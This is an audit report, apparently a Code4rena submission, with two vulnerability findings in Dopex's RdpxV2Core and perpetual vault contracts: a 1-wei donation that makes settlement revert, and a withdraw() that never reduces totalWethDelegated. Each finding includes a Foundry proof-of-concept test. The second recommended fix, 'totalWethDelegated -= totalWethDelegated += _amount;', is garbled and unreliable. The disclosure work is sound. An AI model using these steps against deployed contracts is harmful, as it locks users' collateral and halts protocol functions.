Dopex - 0xc0ffEE's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L764-L783 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

Vulnerability details

Impact

In settle logics, RdpxV2Core contract calls to PerpetualAtlanticVault.settle() to update funding, burn option tokens and do some token settles. However, the logic could be reverted in the call IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(ethAmount) because of donation attack vector. An attacker could transfer only 1 wei to PerpetualAtlanticVaultLP contract to make the logic in function PerpetualAtlanticVaultLP.subtractLoss get reverted. So far, the impacts could be: 1.collateral get locked there; 2.protocol's settling function get DoS; 3. Pay funding for PerpetualAtlanticVault blocked

Proof of Concept

diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
index e11c284..a85c296 100644
--- a/tests/rdpxV2-core/Unit.t.sol
+++ b/tests/rdpxV2-core/Unit.t.sol
@@ -333,6 +333,24 @@ contract Unit is ERC721Holder, Setup {
     );
   }
 
+  function testSettle_DoS() public {
+    rdpxV2Core.bond(5 * 1e18, 0, address(this));
+    rdpxV2Core.bond(1 * 1e18, 0, address(this));
+
+    vault.addToContractWhitelist(address(rdpxV2Core));
+    uint256[] memory _ids = new uint256[](1);
+    _ids[0] = 0;
+    rdpxPriceOracle.updateRdpxPrice(1e7);
+
+    address attacker = vm.addr(1337);
+    deal(address(weth), attacker, 1 ether);
+    vm.startPrank(attacker);
+    weth.transfer(address(vaultLp), 1);
+    vm.stopPrank();
+    vm.expectRevert("Not enough collateral was sent out");
+    rdpxV2Core.settle(_ids);
+  }
+
   function testWithdraw() public {
     rdpxV2Core.addToDelegate(1 * 1e18, 10e8);
 

Tools Used

Foundry

Recommended Mitigation Steps

Consider changing the way to track loss in PerpetualAtlanticVaultLP i.e: use ERC20#transfer() to transfer token from PerpetualAtlanticVaultLP to RdpxV2Core contract and then calculate loss within the same function instead of using PerpetualAtlanticVault to call ERC20#transferFrom

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990

Vulnerability details

Impact

Function RdpxV2Core#withdraw() lets delegate owners withdraw their unused WETH. However, withdrawn amount is not deducted from totalWethDelegated, which causes WETH asset reserve tracked improperly. The impacts could be:

1. Function sync gets reverted when totalWethDelegated is greater than token balance
2. Due to wrong accounting asset reserve from sync() function, other logics get affected: a. lowerDepeg could get reverted because of underflowed at line reserveAsset[reservesIndex["WETH"]].tokenBalance -= _wethAmount; b. function provideFunding could get reverted because of underflowed ...

So far, many functions would get DoS

Proof of Concept

diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
index e11c284..710e5b3 100644
--- a/tests/rdpxV2-core/Unit.t.sol
+++ b/tests/rdpxV2-core/Unit.t.sol


+  function testWithdraw_NotDecreaseTotalDelegated() public {
+    rdpxV2Core.addToDelegate(1 * 1e18, 10e8);
+    rdpxV2Core.withdraw(0);
+
+    // sync() get revert due to underflowed
+    vm.expectRevert();
+    rdpxV2Core.sync();
+
+    dpxETH.approve(address(curvePool), 200 * 1e18);
+    dpxETH.mint(address(this), 200 * 1e18);
+    address coin0 = IStableSwap(curvePool).coins(0);
+    if (coin0 == address(weth)) {
+      IStableSwap(curvePool).exchange(1, 0, 110 * 1e18, 0);
+    } else {
+      IStableSwap(curvePool).exchange(0, 1, 110 * 1e18, 0);
+    }
+
+    rdpxV2Core.bond(5 * 1e18, 0, address(1));
+    rdpxV2Core.sync();
+    dpxEthPriceOracle.updateDpxEthPrice(98137847);
+    (, uint256 wethReserve1, ) = rdpxV2Core.getReserveTokenInfo("WETH");
+
+    vm.expectRevert();
+    rdpxV2Core.lowerDepeg(0, 1e18, 0, 0);
+  }
+
   function testUpperDepeg() public {
     // test upper depeg while price is lower than depeg
     vm.expectRevert(

Tools Used

Foundry, Manual review

Recommended Mitigation Steps

Add totalWethDelegated -= totalWethDelegated += _amount; to function withdraw

Assessed type

Other